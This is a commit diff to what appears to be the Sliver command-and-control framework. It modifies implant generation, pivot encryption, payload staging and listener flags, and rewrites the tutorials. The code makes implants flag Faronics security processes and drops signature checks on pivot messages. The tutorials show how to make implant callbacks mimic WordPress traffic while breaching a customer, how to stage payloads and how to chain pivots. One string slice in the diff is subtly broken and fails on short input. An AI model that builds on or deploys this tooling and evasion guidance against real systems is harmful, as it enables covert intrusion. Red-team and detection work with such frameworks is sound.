add exports when creating profile for windows shellcode

Added ps detection for Faronics Anti-Executable processes

client/command/c2profiles/c2profiles.go

@@ -529,11 +529,11 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
 
 	tw.AppendRow(table.Row{
 		"Paths",
-		strings.Join(paths[:], ","),
+		strings.Join(paths[:], ",")[:50] + "...",
 	})
 	tw.AppendRow(table.Row{
 		"Files",
-		strings.Join(files[:], ","),
+		strings.Join(files[:], ",")[:50] + "...",
 	})
 
 	con.Println(tw.Render())

client/command/generate/generate.go

@@ -291,6 +291,13 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	sgnEnabled := false
 
 	var exports []string
+	exportsArg, _ := cmd.Flags().GetString("exports")
+	if exportsArg == "" {
+		con.PrintErrorf("Shared libraries need at least one export\n")
+		return "", nil
+	} else {
+		exports = strings.Split(exportsArg, ",")
+	}
 
 	format, _ := cmd.Flags().GetString("format")
 	runAtLoad := false
@@ -302,13 +309,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
 		runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
-		exportsArg, _ := cmd.Flags().GetString("exports")
-		if exportsArg == "" {
-			con.PrintErrorf("Shared libraries need at least one export\n")
-			return "", nil
-		} else {
-			exports = strings.Split(exportsArg, ",")
-		}
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true

client/command/jobs/commands.go

@@ -48,7 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
 		f.StringP("lhost", "L", "", "interface to bind server to")
 		f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 
 	// Wireguard
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
 		f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
 		f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 
 	// DNS
@@ -85,7 +83,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.StringP("lhost", "L", "", "interface to bind server to")
 		f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
 		f.BoolP("disable-otp", "D", false, "disable otp authentication")
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 
 	// HTTP
@@ -106,7 +103,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.BoolP("disable-otp", "D", false, "disable otp authentication")
 		f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
 		f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 
 	// HTTPS
@@ -132,8 +128,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.StringP("key", "k", "", "PEM encoded private key file")
 		f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
 		f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
-
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 	flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
 		(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")

client/command/processes/ps.go

@@ -105,6 +105,8 @@ var knownSecurityTools = map[string][]string{
 	"cyuserservice.exe":               {console.Red, "Palo Alto Cortex"},             // Cortex XDR - user service
 	"cywscsvc.exe":                    {console.Red, "Palo Alto Cortex"},             // Cortex XDR - security center service
 	"tlaworker.exe":                   {console.Red, "Palo Alto Cortex"},             // Cortex XDR - local analysis worker
+	"AEEngine.exe":                    {console.Red, "Faronics Anti-Executable"},     // Faronics Anti-Executable - security service
+	"Antiexecutable.exe":              {console.Red, "Faronics Anti-Executable"},     // Faronics Anti-Executable - gui and tray icon
 }
 
 // PsCmd - List processes on the remote system

docs/sliver-docs/pages/tutorials/md/1 - Getting Started.md

@@ -49,9 +49,7 @@ Filesystem
   grep              Search for strings that match a regex within a file or directory
   head              Grab the first number of bytes or lines from a file
   ls                List current directory
-  memfiles          List current memfiles
   mkdir             Make a directory
-  mount             Get information on mounted filesystems
   mv                Move or rename a file
   pwd               Print working directory
   rm                Remove a file or directory
@@ -72,7 +70,6 @@ Info
   getuid            Get session process UID
   info              Get session info
   ping              Send round trip message to implant (does not use ICMP)
-  screenshot        Take a screenshot
   whoami            Get session user execution context
 ```
 Execute a binary
@@ -86,3 +83,13 @@ Running an interactive shell
 ```asciinema
 {"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
+
+Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
+
+```
+mount             Get information on mounted filesystems (only for Windows and Linux)
+screenshot        Take a screenshot (only for Windows and Linux)
+memfiles          List current memfiles (Linux only)
+```
+
+This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.

docs/sliver-docs/pages/tutorials/md/2 - Beacons vs Sessions.md

@@ -2,9 +2,9 @@
 
 Sliver implants support two types of connections, sessions and beacons.
 
-Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
+Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
 
-Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
+Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
 
 Let’s start with generating and deploying a beacon using `http`.
 
@@ -66,13 +66,13 @@ Commands issued for beacons can be viewed using `tasks`, the task state will ind
 {"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-Session can be spun up using the `interactive` command.
+Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
 
 ```asciinema
 {"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
 ```
 
-Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
+Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
 
 Let’s switch to our newly created session and spin-up a `socks5` proxy.
 
@@ -91,4 +91,4 @@ Let’s switch to our newly created session and spin-up a `socks5` proxy.
 
 You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
 
-Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
+Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.

docs/sliver-docs/pages/tutorials/md/3 - C2 Profiles and configuration.md

@@ -1,104 +1,19 @@
 # This course is intended for the 1.6 version of Sliver, which is not yet published
 
-When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
+When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
 
-C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
+For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
+
+C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
 
 The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
 
-Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
+Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
+We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
 
-- `.woff` for staging
-- `.js` for poll requests
-- `.html` for key exchanges
-- `.png` for close session
-- `.php` for session messages
+We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
 
-We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
-
-We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
-
-We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
-
-```python
-import json
-import math
-import sys
-import random
-
-
-def updateProfile(c2ProfileName, urls, cookieName):
-    data = open(urls).readlines()
-    c2Profile = open(c2ProfileName, "r").read()
-    jsonC2Profile = json.loads(c2Profile)
-
-    paths, filenames, extensions = [], [], []
-    for line in data:
-        line = line.strip()
-        if "." in line:
-            extensions.append(line.split(".")[-1])
-
-        if "/" in line:
-            segments = line.split("/")
-            paths.extend(segments[:-1])
-            filenames.append(segments[-1].split(".")[0])
-
-    extensions = list(set(extensions))
-    if "" in extensions:
-        extensions.remove("")
-    random.shuffle(extensions)
-
-    filenames = list(set(filenames))
-    if "" in filenames:
-        filenames.remove("")
-
-    paths = list(set(paths))
-    if "" in paths:
-        paths.remove("")
-
-    if len(extensions) < 5:
-        print(f'Got {len(extensions)} extensions, need at least 5.')
-        exit(0)
-
-    if len(paths) < 5:
-        print(f'Got {len(paths)} paths need at least 5.')
-        exit(0)
-
-    if len(filenames) < 5:
-        print(f'Got {len(filenames)} paths need at least 5.')
-        exit(0)
-
-    exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
-    for ext in exts:
-        jsonC2Profile["implant_config"][ext] = extensions[0]
-        extensions.pop(0)
-
-    pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
-    for x, pathType in enumerate(pathTypes):
-        jsonC2Profile["implant_config"][pathType] =  paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
-
-    fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
-    for x, fileType in enumerate(fileTypes):
-        jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
-
-    jsonC2Profile["server_config"]["cookies"] = [cookieName]
-    c2Profile = open(c2ProfileName, "w")
-    c2Profile.write(json.dumps(jsonC2Profile))
-    print("C2 Profile updated !")
-
-
-if __name__ == "__main__":
-    if len(sys.argv) < 4:
-        print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
-        exit(0)
-
-    updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
-```
-The example below demonstrates how to change and import a profile.
-
-```asciinema
-{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
-```
+You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile. 
 
 At this point we can generate a new implant using our new profile.
 

docs/sliver-docs/pages/tutorials/md/4 - HTTP Payload staging.md

@@ -10,12 +10,11 @@ For this exercise, we will create a new beacon profile and prepare to stage it.
 
 If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
 ```
-https://sliver-ip/whatever.stager_file_ext?x=yourID
+https://sliver-ip/definitely/not/malware?x=yourID
 ```
 
 There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
-* The file extension needs to match the c2 profile's stager_file_ext
-* There has to be a one character http url parameter
+* There has to be http url parameter containing the implant ID
 * The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
 
 To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.

docs/sliver-docs/pages/tutorials/md/5 - Pivots.md

@@ -32,3 +32,27 @@ The next step is to generate a payload that will connect to our listener.
 ```
 
 Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
+
+```asciinema
+{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
+```
+
+As mentionned before named pipe pivots use a similar process, first you need to create a listener:
+
+```bash
+[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
+
+[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
+
+```
+
+You can then generate an implant connecting to it 
+
+```bash
+sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
+
+[*] Generating new windows/amd64 implant binary
+[*] Build completed in 1s
+[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
+```
+

docs/sliver-docs/public/tutorials.json

@@ -1 +1 @@
-{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION  1884a365  RELATED_EARDRUM  [::1]:49153      test.local  tester  darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n  cat               Dump file to stdout\n  cd                Change directory\n  cp                Copy a file\n  download          Download a file\n  grep              Search for strings that match a regex within a file or directory\n  head              Grab the first number of bytes or lines from a file\n  ls                List current directory\n  memfiles          List current memfiles\n  mkdir             Make a directory\n  mount             Get information on mounted filesystems\n  mv                Move or rename a file\n  pwd               Print working directory\n  rm                Remove a file or directory\n  tail              Grab the last number of bytes or lines from a file\n  upload            Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n  env               List environment variables\n  getgid            Get session process GID\n  getpid            Get session pid\n  getuid            Get session process UID\n  info              Get session info\n  ping              Send round trip message to implant (does not use ICMP)\n  screenshot        Take a screenshot\n  whoami            Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID         Name            Transport   Username          Operating System   Last Check-In   Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c   TIRED_GIRAFFE   http(s)     tester   darwin/amd64       52s             12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
+{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION  1884a365  RELATED_EARDRUM  [::1]:49153      test.local  tester  darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n  cat               Dump file to stdout\n  cd                Change directory\n  cp                Copy a file\n  download          Download a file\n  grep              Search for strings that match a regex within a file or directory\n  head              Grab the first number of bytes or lines from a file\n  ls                List current directory\n  mkdir             Make a directory\n  mv                Move or rename a file\n  pwd               Print working directory\n  rm                Remove a file or directory\n  tail              Grab the last number of bytes or lines from a file\n  upload            Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n  env               List environment variables\n  getgid            Get session process GID\n  getpid            Get session pid\n  getuid            Get session process UID\n  info              Get session info\n  ping              Send round trip message to implant (does not use ICMP)\n  whoami            Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount             Get information on mounted filesystems (only for Windows and Linux)\nscreenshot        Take a screenshot (only for Windows and Linux)\nmemfiles          List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\nSliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n Line truncated

implant/sliver/cryptography/crypto.go

@@ -219,6 +219,23 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
 	return plaintext, nil
 }
 
+// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
+func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
+
+	plaintext, err := Decrypt(c.Key, msg)
+	if err != nil {
+		return nil, err
+	}
+	if 0 < len(msg) {
+		digest := sha256.Sum256(msg)
+		b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
+		if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
+			return nil, ErrReplayAttack
+		}
+	}
+	return plaintext, nil
+}
+
 // Encrypt - Encrypt a message with the contextual key
 func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	ciphertext, err := Encrypt(c.Key, plaintext)

implant/sliver/pivots/pivots.go

@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
 		// {{end}}
 		return nil, err
 	}
-	data, err = p.cipherCtx.Decrypt(data)
+	data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Decryption error: %s", err)

implant/sliver/transports/pivotclients/pivotclient.go

@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
 		// {{end}}
 		return nil, err
 	}
-	data, err = p.peerCipherCtx.Decrypt(data)
+	data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Peer decryption error: %s", err)

server/c2/http.go

@@ -770,7 +770,7 @@ func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request
 
 	for _, nonce := range nonces {
 		resourceID, err = db.ResourceIDByValue(nonce)
-		if err != nil {
+		if err == nil {
 			httpLog.Debug("Stager request")
 			build, _ := db.ImplantBuildByResourceID(resourceID.Value)
 			if build.Stage {

server/console/console.go

@@ -77,7 +77,6 @@ func serverOnlyCmds() (commands []*cobra.Command) {
 		f.StringP("lhost", "L", "", "interface to bind server to")
 		f.Uint16P("lport", "l", 31337, "tcp listen port")
 		f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
-		f.BoolP("persistent", "p", false, "make persistent across restarts")
 	})
 
 	commands = append(commands, startMultiplayer)

server/db/models/implant.go

@@ -20,6 +20,7 @@ package models
 
 import (
 	"net/url"
+	"strings"
 	"time"
 
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -167,6 +168,7 @@ type ImplantConfig struct {
 	MaxConnectionErrors uint32
 	ConnectionStrategy  string
 	SGNEnabled          bool
+	Exports             string
 
 	// WireGuard
 	WGPeerTunIP       string
@@ -285,6 +287,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
 		IncludeWG:       ic.IncludeWG,
 		IncludeTCP:      ic.IncludeTCP,
 		Extension:       ic.Extension,
+		Exports:         strings.Split(ic.Exports, ","),
 	}
 
 	if ic.ImplantProfileID != nil {
@@ -495,6 +498,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
 	cfg.IsShellcode = pbConfig.IsShellcode
 	cfg.RunAtLoad = pbConfig.RunAtLoad
 	cfg.DebugFile = pbConfig.DebugFile
+	cfg.Exports = strings.Join(pbConfig.Exports, ",")
 
 	cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
 	cfg.NetGoEnabled = pbConfig.NetGoEnabled

server/rpc/rpc-generate.go

@@ -91,6 +91,10 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
 		config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
 	}
 
+	if len(config.Exports) == 0 {
+		config.Exports = []string{"StartW"}
+	}
+
 	// generate config
 	build, err := generate.GenerateConfig(name, config)
 	if err != nil {
@@ -705,6 +709,10 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
 		return nil, err
 	}
 
+	if len(profile.Config.Exports) == 0 {
+		profile.Config.Exports = []string{"StartW"}
+	}
+
 	// generate config
 	build, err := generate.GenerateConfig(name, profile.Config)
 	if err != nil {